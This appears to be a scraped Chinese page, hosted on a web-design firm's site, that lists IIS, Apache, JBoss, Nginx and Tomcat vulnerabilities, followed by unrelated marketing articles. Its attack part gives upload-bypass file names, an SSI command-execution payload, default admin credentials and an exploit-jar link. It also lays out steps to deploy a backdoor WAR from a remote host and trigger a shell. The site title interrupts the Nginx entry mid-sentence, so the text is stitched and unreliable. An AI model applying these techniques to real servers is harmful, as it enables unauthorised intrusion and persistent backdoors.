1.iis6.0 put上传
iis server 在web服务扩展中开启了webdav，配置了可以写入的权限，导致任意文件上传
2.iis6.0 ,iis7.0（iis7.5） 解析漏洞(可配合文件上传白名单限制)
iis6.0(分号截断) 例如上传asp木马 可以通过 x.asp;.jpg来绕过
iis6.0(在以*.asp命名的文件夹下所有的文件都会被解析成asp文件) 例如我们可以控制上传文件夹，
就可以绕过限制image.asp/x.jpg x.jpg被解析成asp
iis7.0或iis7.5在使FastCGI方式调用php时，在php.ini里设置cgi.fix_pathinfo=1URL时，在URL后面
添加“/x.php”等字符时，该文件被iis当php文件代码解析
3.iis短文件解析
此漏洞实际是由HTTP请求中的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文
件夹名称。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息
原理：IIS的短文件名机制,可以暴力拆解短文件名,访问构造的某个存在的短文件名,会返回404,访问构
造的某个不存在的短文件名,返回400。
4.HTTP.SYS远程代码执行 MS15-034 导致系统蓝屏或者崩溃
远程攻击者可以通过IIS7(或更高版本)服务将恶意的HTTP请求传递给HTTP.sys驱动，通过发送恶意的
HTTP请求导致远程代码执行或操作系统蓝屏。 Windows 7 、 Windows Server 2008 R2 、 Windows
8 、 Windows Server 2012 、 Windows 8.1 和 Windows Server 2012 R2等
5.RCE&
CVE-2017-7269-Win2003_IIS6-直接获取WEB权限（只适用于iis6.0）
6.apache多后缀名解析漏洞(可配合文件上传白名单限制)
如果在apache中设置addhandler application/x-httpd-php .php（分布式配置文件）那么，在有多个
后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，不一定是最后一个后缀。利
用这个特性，将会造成一个可以绕过上传白名单的解析漏洞
7.apache换行解析漏洞（CVE-2017-15715）
其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A将被按照PHP后缀进行解析，导致
绕过一些服务器的安全策略。
8.Apache SSI 远程命令执行漏洞
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命
令。
使用SSI(Server Side Include)的html文件扩展名，SSI（Server Side Include)，通常称为"服务器端
嵌入"或者叫"服务器端包含"，是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是
.stm、.shtm 和 .shtml
9.JBoss 5.x/6.x 反序列化漏洞复现（CVE-2017-12149）
该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter
过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而
导致了漏洞。
影响：Jboss 5.x和 Jboss 6.x
检测：/invoker/readonly 若显示HTTP status 500，则说明漏洞可能存在
利用(简单粗暴，不优雅。)：Jboss反序列化_CVE-2017-12149.jar
修复：升级版本或不需要的http-invoker.sar组件,删除此组件
下载：
https://github.com/yunxu1/jboss-_CVE-2017-12149
9.1
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
影响：Jboss 4.X
检测：
/invoker/JMXInvokerServlet访问若提示下载，则可能存在漏洞。
利用：Jboss反序列化_CVE-2017-12149.jar
修复：升级版本
9.2
案例2-JBoos-弱口令安全-4.X&5.X&6.X
Jboss4.x及其之前的版本 console 管理路径为/jmx-console/和/web-console/，密码存
储：
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
Jboss5.x开始弃用了 web-console ，增加了admin-console，
Jboss5.x/6.x版本console路径为/jmx-console/和/admin-console/，
密码存储：
jboss/server/default/conf/props/jmx-console-users.properties
9.3
JBoos 4.X 弱口令管理后台部署war包getshell
CVE-2017-7504启动环境 弱口令：admin/admin
a、访问：/jmx-console/HtmlAdaptor?
action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
b、生成war包部署自己服务器上：
http://test.xiaodi8.com/one.war
c、找到void addURL()，在ParamValue填入我们远程的war包，点击invoke
d、提示成功后，访问/one/one.jsp触发后门
9.4
JBoos 5/6.X 弱口令管理后台部署war包getshell
CVE-2017-12149启动环境 弱口令：admin/vulhub
a、Applications->Web Application (WAR)s->Add a new resource
b、生成war包，上传，确定
c、确定添加后，访问/one/one.jsp触发后门
9.5
Nginx解析漏洞( 该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞)
由于nginx.conf配置导致nginx把以’.php’结尾的文件交给fastcgi处理
9.6
Nginx文件名逻辑漏洞 CVE-2013-4547:
而存在CVE-2013-4547的情况下，我们请求`1.gif[0x20][0x00].php`，这个URI可以匹配上正则`\.php
HTTP500解决办法（常见WEB中间件漏洞）_深圳搬家搬厂网站建设
HTTP500解决办法（常见WEB中间件漏洞）
发布时间：2023-12-05来源：网站建设公司
，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是`1.gif[0x20]`，就设置其
为`SCRIPT_FILENAME`的值发送给fastcgi。
影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
9.7
Tomcat-配置-弱口令&爆破:
Tomcat存在后台管理，账号密码设置在conf/tomcat-users.xml
可能存在的安全问题：弱口令或爆破(爆破采用数据包base64传递认证)
9.8
Tomcat-put方法任意文件写入漏洞：
漏洞本质Tomcat配置了可写（readonly=false），导致可以往服务器写文件
9.9
Tomcat AJP 任意文件读取/包含漏洞：
由于 Tomcat AJP 协议中的一个缺陷，攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件。
例如，攻击者可以读取 webapp 配置文件或源代码。此外，如果目标Web应用程序具有文件上传功能，
攻击者可以通过Ghostcat(幽灵猫)漏洞利用文件包含在目标主机上执行恶意代码。
影响版本 Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
阅读过此文章的读者，还阅读过下面的文章
-
<p>
深圳网站制作好后来年到期了该怎么办，不管是个人还是公司，要想制作好一个网站真的不容易，不仅仅需要做网站前期的规划和策划工作，还需要对网站建设的栏目，内容进行填充和建设，面对这一堆的要求和东西，整体还是比较麻烦和费事的，所以，网站建设制作好之后，一定要注意来年的续费问题，好多公司不注意这个问题，造成了网站后期打不开了，不能正常方面了，出现了问题才想起来网站没有续费，接下来我们来看看深圳网络公司是如何建议的。
</p>
<p>
1.域名到期的影响<br />
一般情况下，网站域名需要一年进行一次续费，也可以一次购买多年，如果域名到期没有及时续费，网站就会打不开，域名续费期一般是一个月，过了这个时间就会进入赎回期，这时候就不能续费了。<br />
2.服务器到期的影响<br />
服务器到期与域名一样，到期后网站同样不能打开，如果之前网站在做推广，会直接影响展现效果，长时间不续费的话，网站数据就会全部删除了，之前的努力就全白做了。<br />
3.网站维护服务到期<br />
有些网络公司服务商会有网站维护费用，一般都是一年为一个期限，如果到期后您没有及时维护，网站出现问题后就不会有人给您维护，就会造成影响。影响最大的就是网站展现的效果。<br />
</p>
-
<p>
深圳做网站公司做网站时要明白这些。其实做网站有的时候不仅仅是在做网站，更多的是在帮助其他公司在做网络宣传门户，站在这个角度上你就知道你所承担的责任了，作为现在公司网站建设不仅要符合时代潮流，更多的需要紧扣时代网页设计特色和要求，只有这样制作设计出来的网站才能更好的满足现在人们的使用要求和观念的，不管是在网站设计理念，网站布局规划，以及网站内容建设等等，这些方面都需要进口时代主题和要求的，接下来我们来看看深圳网站制作公司是如何做的，需要做好那些方面的要求和规范呢？
</p>
<p>
审美在变，网站设计要紧跟潮流<br />
也许用户访问时，不会逐一阅读网站内容，但首先映入眼帘的一定是设计。也许网站在几年前设计制作的确实很漂亮，但是我们无法否认的事实是，用户对网站设计的审美一直在不断改变。这个比较容易对比，随便找一个行业，然后通过百度搜索到十家网站，分别对应年份和网站的网址，让一个不知情的人去逐一打开并评判感受。大体趋势是越是新近设计制作的网站，越容易赢得用户的接受承认。其实这就是用户的真实感受，每年快速改版重做对于很多公司来说有些压力，但是笔者认为一般而言网站2-3年是需要重新设计制作快速的。一个通过网站寻找供应商的用户，其浏览网站一般也就几十秒到几分钟时间，先进的网站设计效果是吸引其深入了解进而咨询的较好方法。<br />
技术在变，网站制作要贴合需求<br />
周围的一切都在发生着巨变，网站技术也是如此，此前被很多网站公司采用的ASP网站开发语言几乎已经没人使用，相对于传统的PC端网站，现在更多看重的是移动端，公司设计制作的网站现在多为自适应PC端、PAD端以及手持移动终端的响应式网站。谁也不知道网站技术会走向哪个方向，但是对于普通的企业而言，我们可以把握趋势，至少每隔两三年对网站重新快速设计制作。<br />
企业在变，网站建设要适应发展<br />
网站总是为企业服务的，换句话说就是网站的设计制作需要跟上企业的发展步伐。现在急剧变化的市场面前，如果想立于不败之地，企业的经营策略一定在不断调整优化。作为给企业发展提供服务的网站，其理应不断调整不断优化以适应公司需求。现在是互联网时代，用户了解公司更多的也是通过网络，网站不仅是营销的工具，更是企业品牌形象的展示窗口。由于人力成本的不断升高，而网站设计更多的需要技术人员手工完成，所以真正定制开发的网站都价格不菲。但是同样是网站建设公司网站改版也不一定就选择定制，如果有合适的模板网站，也是不做的选择。我们需要的是一个紧跟时代和用户需求的网站，而非一定采用哪种方式实现它。
</p>
-
英文网站制作需要注意那些问题和事项。英文网站制作还是跟中文网站制作有比较大的区别的，应为中文网站面对的客户群体是国内的用户，而国内的用户对网站的使用习惯，要求都是跟国外不一样的，从而在制作英文网站的时候，一定要注意，像这种英文网站制作还是需要从国外人使用网站的习惯，使用网站的一些喜好出发，只有这样制作出来的网站满足国外人的使用的，这是一个方面，另外一个方面就是国外网站面对的搜索引擎，也是不一样的，国外的搜索引擎跟国内有着比较大的区别的，搜索引擎也是制作英文网站必须要考虑的一个方面了，最后就是网站制作价格方面了，一般英文网站制作价格要比国内的网站制作价格高一些，这是一定的，毕竟国外网站制作的细节要求，以及针对搜索引擎优化方面还是有比较高的要求的，所以，这些都是工作量，也都是需要处理好这些方面的细节工作的。
-
<p>
网站设计公司的发展趋势详解，目前网页设计公司慢慢的转型升级成为一种综合性的设计公司了，不仅仅是在网站设计了，如果单纯的依赖于网站设计，对于这样的公司来说现在还是很被动的，并且目前的网站制作价格已经白热化了，竞争也是很大的情况下，好多公司已经赚不到什么钱了，面对这样的市场形式，作为网站设计公司要不断的扩大和尝试新的方式和方法，实现公司业务的升级和转型，这也是摆在深圳<a href="http://www.szbc888.com" target="_blank"><strong>网站制作公司</strong></a>面对不可逾越的一个问题了，毕竟现在网站制作公司的活量不大，如果养一个专业的网页设计技术团队专门作网站，根本养活不了这样的公司的发展了，更多的还需要通过其他的渠道，其他的平台上获得更为有质量的客户，这也是当下网站制作公司不得不面对的一个话题了。
</p>
<p>
<img src="static/picture/20231030113846_47114.jpg" alt="" />
</p>
<p>
<a href="http://www.szbc888.com" target="_blank"><strong>网页设计公司</strong></a>业务范围扩大，于是着这个网站制作行业市场需求量在逐渐的缩小，并且凡是使用到网站的多半集中在一些公司，单位方面的需求了，对于一些个人对网站的需求还是很少的，除非一些专业化路线的个人才会这样做的，网站设计公司的转型升级，不仅提升的服务质量，更多的将服务方位不断的扩大，从而得到更好的市场群体，能够为更多的市场客户服务。
</p>
-
<p>
网站制作低价格策略已经成为网站制作行业的杀手锏，整个大环境不好的情况下，好多公司在制作网站的时候，已经在想尽办法降低网站制作的成本了，从当初的网站制作就直接去搜索引擎上搜索网站制作公司了，而如今制作网站已经发生变化了，从搜索引擎走向了淘宝，拼多多这些低价平台了，并且这些平台都是担保交易了，好多的需要<a href="http://www.szbc888.com" target="_blank"><strong>制作公司网站</strong></a>的商家慢慢转向这个方面来了，所以制作出来的网站不是模板的就是仿制的网站，价格的确很低，并且效率也是很高的，这也是聪明的用户慢慢的转型和变化了，如果这些模板网站放在搜索引擎来的客户的话，这些网站制作下来的费用基本上在好几千了，面对这样的市场转型和升级，这也让好多网站制作公司寻找不同的出路了。
</p>
<p>
<img src="static/picture/20231030113212_16069.jpg" alt="" />
</p>
<p>
<a href="http://www.szbc888.com" target="_blank"><strong>深圳网站制作</strong></a>的价格的确没有那么低，但是作为一些低价平台上的用户，他们为了争取到客户，低价引流，从而实现了低价格制作网站的形式，作为网站制作公司，你这样低价格去做的目的就只有一个，那就是辛苦转不到钱的，都是转一些辛苦钱而已，面对这样的市场形式和要求，作为网站制作公司一定要不断的提升网站制作的附加值，提升<a href="http://www.szbc888.com" target="_blank"><strong>网站制作</strong></a>的质量，让用户以质量取胜，不能专门走低价格战略，不然你的公司是发展不起来的，也作不大的，作为用户而已，你公司小还可以这样去做，如果公司发展到一定程度的去制作网站，这对于你的公司来说是灭顶之灾了，所以选择网站制作公司还是要从专业的角度出发去帮助客户解决实际的问题，从而实现网站制作公司的价值和效益。
</p>
-
<p>
深圳网站定制开发全流程详解，作为网站定制开发公司接下来给大家普及一下网站定制究竟要经过那些过程呢，前期的网站沟通肯定是少不了的，除此之外，网站备案这块也是需要的，只要是正规的公司，正常的流程，网站备案也是需要做的，剩下的就是网站制作过程中的一些沟通了，接下来我们来看看<a href="http://www.szbc888.com" target="_blank"><strong>深圳网站制作</strong></a>公司的一个标准的流程。
</p>
<p>
需求分析： 通过对客户业务的了解和与客户对流程的讨论对需求进行基本建模，最终形成需求规格说明书<br />
总体设计： 通过分析需求信息，对系统的外部条件及内部业务需求进行抽象建模，最终形成概要设计说明文档<br />
详细设计： 此部分在对需求和概要设计的基础上进行系统的详细设计（也包含部分代码说明）<br />
开发编程： 对系统进行代码编写<br />
测试分析与系统整合： 对所有功能模块进行模拟数据测试及其它相关性测试并整合所有模块功能<br />
现场支持： 系统上线试运行进行现场问题记录、解答<br />
系统运行支持： 系统正式推产后，对系统进行必要的维护和BUG修改<br />
</p>
